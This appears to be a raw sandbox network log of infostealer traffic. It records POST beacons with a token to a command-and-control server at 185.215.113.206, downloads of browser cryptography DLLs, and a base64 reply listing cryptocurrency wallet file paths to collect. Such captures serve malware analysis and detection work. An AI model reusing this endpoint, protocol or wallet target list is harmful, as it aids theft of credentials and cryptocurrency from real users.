Nov 23, 2024 15:22:55.839133978 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 15:22:55.934359074 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKEBKFCAAECAAAAAEC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="file"------KKJKEBKFCAAECAAAAAEC--
Nov 23, 2024 15:22:56.893345118 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 15:22:58.335493088 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFIJJEBKEBFCBGDAEGD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FBFIJJEBKEBFCBGDAEGDContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------FBFIJJEBKEBFCBGDAEGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBFIJJEBKEBFCBGDAEGDContent-Disposition: form-data; name="file"------FBFIJJEBKEBFCBGDAEGD--
Nov 23, 2024 15:22:59.276776075 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 15:22:59.880846024 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 15:23:00.357954025 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 23, 2024 15:23:00.357995033 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 23, 2024 15:23:00.358005047 CET	248	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 23, 2024 15:23:00.358997107 CET	1236	IN	Data Raw: 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 00 00 89 c3 88 44 24 07 8b 44 24 40 89 cf 89 4c 24 14 0f b6 c9 c1 e1 18 Data Ascii: 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(D$\$(sFD$,D$
Nov 23, 2024 15:23:00.359076023 CET	1236	IN	Data Raw: 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 c1 f8 1f f7 d0 8b 5d 1c 80 7c 33 f5 01 19 ff 09 c7 b8 03 00 00 00 29 c8 Data Ascii: EE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -
Nov 23, 2024 15:23:00.359087944 CET	1236	IN	Data Raw: 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 8b 47 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 c7 47 08 01 Data Ascii: EGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF
Nov 23, 2024 15:23:00.359097958 CET	372	IN	Data Raw: 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 00 e8 9f f7 07 00 83 c4 04 31 ff 85 c0 0f 84 fc 00 00 00 89 c6 8b 45 0c Data Ascii: 1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuWT
Nov 23, 2024 15:23:00.364634037 CET	1236	IN	Data Raw: 07 00 83 c4 08 5d c3 cc cc cc cc cc 55 89 e5 56 8b 75 1c 8b 45 14 39 f0 73 14 68 03 e0 ff ff e8 3b f6 07 00 83 c4 04 b8 ff ff ff ff eb 16 8b 55 0c 8b 4d 08 56 ff 75 18 50 ff 75 10 e8 0b 00 00 00 83 c4 10 5e 5d c3 cc cc cc cc cc 55 89 e5 53 57 56 Data Ascii: ]UVuE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}aM}$7$7u2M$E}
Nov 23, 2024 15:23:00.364840031 CET	1236	IN	Data Raw: f2 17 66 0f 6f 2d e0 20 08 10 66 0f fe d5 f3 0f 5b d2 66 0f 70 e1 f5 66 0f f4 ca 66 0f 70 d2 f5 66 0f f4 d4 66 0f 6f e0 66 0f fe 25 00 21 08 10 66 0f 70 c9 e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f Data Ascii: fo- f[fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFM
Nov 23, 2024 15:23:00.373370886 CET	1236	IN	Data Raw: 4d cc 8b 45 e8 8b 55 ec 01 d0 83 c0 03 0f b6 c0 8b 55 f0 0f b6 14 02 00 d3 0f b6 f3 8b 7d f0 8a 34 37 8b 7d f0 88 34 07 8b 45 f0 88 14 30 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 10 09 c8 8b 4d e8 8b 55 ec 01 d1 83 c1 04 0f b6 c9 8b 55 f0 0f b6 Data Ascii: MEUU}47}4E0UMUU}47}4M1uU3UMEM}}Eu;uUM}Et}E
Nov 23, 2024 15:23:01.965987921 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 15:23:02.413096905 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 23, 2024 15:23:03.659591913 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 15:23:04.106446981 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 23, 2024 15:23:05.319399118 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 15:23:05.766432047 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 23, 2024 15:23:09.219580889 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 15:23:09.666115999 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 23, 2024 15:23:10.640526056 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 15:23:11.087176085 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 23, 2024 15:23:12.184779882 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBF Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 15:23:13.139734030 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 15:23:13.452352047 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCFBAFBFHJEBGCAEGH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 2d 2d 0d 0a Data Ascii: ------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="message"wallets------JDGCFBAFBFHJEBGCAEGH--
Nov 23, 2024 15:23:13.902014971 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:23:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHw